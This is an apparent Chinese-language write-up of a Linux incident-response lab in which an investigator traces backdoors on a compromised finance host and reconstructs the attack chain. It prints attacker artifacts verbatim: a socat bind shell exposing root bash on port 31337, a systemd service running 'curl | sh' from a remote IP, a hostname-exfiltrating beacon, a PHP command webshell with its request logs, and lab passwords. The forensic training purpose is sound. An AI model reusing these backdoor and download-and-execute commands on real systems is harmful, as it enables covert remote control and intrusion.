ARTICLE · 1214725
linux应急响应-原创靶机(附靶机下载地址)
linux应急响应-原创靶机(附靶机下载地址)题目背景: 内部财务门户主机 `finance-prod-01` 疑似被入侵 
账号:admin 密码:yjyjyj 
可以看到本机监听的正常端口是 80(nginx)、22(sshd)、631(cupsd 仅本机),唯独多出一个 0.0.0.0:31337 监听——它不属于任何业务组件,判定为异常。 31337端口通常被黑客用来设置后门,实现对系统的远程控制。 这个程序名为socat 查看这个进程真正运行的程序文件 
`/proc//exe` 指向 /usr/bin/socat——说明真实程序就是系统自带的 socat,并没有被改名。socat 本身是正规网络工具,只是被攻击者恶意利用成后门。 完整查看这个进程 
关键在它的命令行: 调用socat在31337这个端口监听,reuseaddr允许端口重用。 fork:每当有一个新的连接进入 31337 端口,就 派生出一个新的子进程来处理。这意味着它可以同时接受多个连接。 EXEC:/bin/bash:它会把任何连接到该端口的流量,直接交给/bin/bash去执行。 也就是说,只要连上 31337 就能直接拿到 root shell——这就是后门①:Bind Shell(socat 监听 31337,连上即得 root shell,无需口令)。 这个 Bind Shell 能长期存活,靠的是权限维持手段(systemd开机自启、cron 等)在支撑,详见题目4。继续找下一个后门——检查 Web 目录的隐藏文件: 在 /var/www/html/uploads/ 用 ls -la 发现隐藏文件 .cache.php——不带 -a 根本看不到,名字伪装成缓存文件,混在正常业务 CSV 中。 
源码核心是system($_GET['cmd']):把 URL 传入的cmd 参数直接作为系统命令执行并回显。它位于上传目录、隐藏文件名、无任何认证鉴权——是标准的 Webshell。 这就是后门②:.cache.php Webshell——攻击者通过 HTTP 传 cmd 即可执行命令,无需认证。 查看历史记录 
在admin这个账户下面没有发现什么 除了admin还有一个analyst的账户,攻击者应该就是用这个账号执行命令 
攻击者访问了一个数据库,还有之前的一些作案过程(如果是之前没有找到的后门也可以通过这个历史痕迹来发现) 在/var/www/html/download打开数据库 
备份文件 db-backup-20261018.sql 里泄露了三套明文账号口令: ① analyst / IR-Lab-2026!(sysadmin,备注“可 sudo”)——与 SSH 登录口令完全一致,这是整个入侵的入口根因; ② finance_ro / Fin#2026ro(财务只读)、admin / Adm1n@Fin2026(superadmin); 另外 /var/www/html/include/config.php 里也以明文写了 finance_ro、admin 两套口令,属另一处泄露源。 以及在root目录下还找到了一些备份 
逐一查看 

发现三套明文密码, 账号和密码哈希的备份 ,用户私人文件夹打包和财务报表数据 权限维持(持久化)=让后门跨重启、跨进程终止仍能存活,并保持访问/提权能力的手段。本案归为以下几类: ①开机自启(systemd): 先看开机自启服务——权限维持机制的高发地 
注意这个 netcfg-helper.service,名字伪装成“网络配置助手” 
它调用的正是刚才那个 socat 31337 进程,并且“开机自启+Restart=always”,无论怎么退出都会被自动拉起 netcfg-helper.service 是权限维持机制:开机自启+Restart=always,把 socat Bind Shell 钉在系统里,重启后照样存在。 另外还有个更可疑的 system-update.service 正常的系统更新服务通常叫 apt-daily.service 或 unattended-upgrades.service;这个 system-update.service 极可能是攻击者伪造的恶意服务 仔细查看一下这个 
`systemctl cat` 看到 ExecStart=/bin/sh -c 'curl -fsS http://198.51.100.77/update.sh | sh'——开机就从远端拉脚本直接执行(二阶段 C2,可随时更换 payload),journalctl 也证实它确实去连接过 198.51.100.77:80。结合 systemctl enable,这就是开机自启持久化。 查看一下这个脚本 
配套落地载荷 /usr/local/bin/system-update 每 300 秒向 198.51.100.77/beacon?h=$(hostname) 外带主机名——既是存活确认,也是资产指纹外泄(二阶段 C2 心跳)。 ②定时任务(cron): 再查定时任务(第三处藏身点) 
`/etc/cron.d/backup-sync` 是定时任务持久化:每 5 分钟以 root 身份访问 http://127.0.0.1/uploads/.cache.php?cmd=heartbeat(走本机回环,边界设备看不到)——给 Webshell 保活,每次 access.log 都会多一条 127.0.0.1 的 heartbeat。 ③免密访问维持(SSH 公钥): 我们在查看历史命令的时候还有看到复制了一个密钥 攻击者用 sudo cp /tmp/attacker.pub /home/analyst/.ssh/authorized_keys 注入自己的 ED25519 公钥(注释 ir-lab-attacker),从此可免密登录。注意:公钥认证与口令认证是两条独立通道,只改 analyst 口令而不删这把 key,攻击者照样能进。 
维持权限应该就是攻击者设置了自己的账户不需要密码就可以 ④提权面(免密 sudo): 查看权限配置的文件 
运维给 analyst 放行的免密 sudo,这个非常关键 `/etc/sudoers.d/analyst-ops` 内容为 analyst ALL=(root) NOPASSWD: /usr/bin/curl, /usr/bin/cp, /usr/bin/systemctl。sudo 只匹配命令前缀、不校验参数,因此 analyst 等于免密 root:curl=任意文件写入、cp=任意文件替换、systemctl enable=持久化闭环——这正是攻击者能用 analyst 完成所有 root 操作的根本原因。 查看日志 

还原出的完整攻击链: 1. 根因:Web 目录 download/db-backup-20261018.sql 明文泄露,攻击者先用 curl 拉走数据库备份(access.log,200 1250),拿到 analyst 口令。 2. 用 analyst / IR-Lab-2026! 从 10.10.8.23 登录 SSH(auth.log:Accepted password)。 3. 借助 /etc/sudoers.d/analyst-ops 的免密 sudo 提权到 root。 4. 落地多重后门:sudo curl 写 .cache.php Webshell;sudo cp 落地 /usr/local/bin/system-update 二阶段载荷;sudo systemctl enable 注册 system-update.service;写 /etc/cron.d/backup-sync Cron 心跳;sudo cp 注入 authorized_keys 公钥;socat 31337 bind shell 由 netcfg-helper.service 常驻。 5. 通过 Webshell 侦察:cmd=id、cat /etc/passwd、uname -a;id,确认权限、收集账号与主机指纹。 6. 撤离前反取证:rm -f /tmp/update.sh /tmp/attacker.pub。

题目1 找到恶意的进程,以及该进程开启的端口
ss -tulnp#列出本机所有正在监听的#TCP/UDP 端口,并显示每个端口是被哪个进程占用的

ls -l /proc/1242/exe
恶意进程就是那个以 root 运行、监听 31337 的 socat。它属于Bind Shell 后门:TCP-LISTEN:31337,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane,任何人连上31337 就直接拿到一个 root shell,无需口令。
题目2 找到隐藏的后门
ps -fp 1242
/usr/bin/socat TCP-LISTEN:31337,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
题目3 找到攻击者获取的敏感信息






题目4 找到攻击者权限维持的手段
systemctl list-unit-files --type=service --state=enabled


systemctl cat system-update.service


ls -la /etc/cron.d/


题目5 试着还原攻击者的攻击链路
grep "sudo:" /var/log/auth.loggrep "cache.php?cmd" /var/log/nginx/access.log

18:01:05 10.10.8.23 GET /uploads/.cache.php?cmd=id
18:01:12 10.10.8.23 GET /uploads/.cache.php?cmd=cat%20/etc/passwd
18:01:18 10.10.8.23 GET /uploads/.cache.php?cmd=uname%20-a;id















































































